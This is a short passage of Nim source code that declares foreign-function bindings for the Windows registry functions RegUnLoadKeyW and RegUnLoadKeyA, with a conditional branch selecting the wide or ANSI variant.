proc regUnLoadKeyW*(hKey: RegistryKey, lpSubKey: WideCString): int32 {.stdcall, dynlib: REG_LIB, importc: "RegUnLoadKeyW".}
else:
proc regUnLoadKeyA*(hKey: RegistryKey, lpSubKey: CString): int32 {.stdcall, dynlib: REG_LIB, importc: "RegUnLoadKeyA".}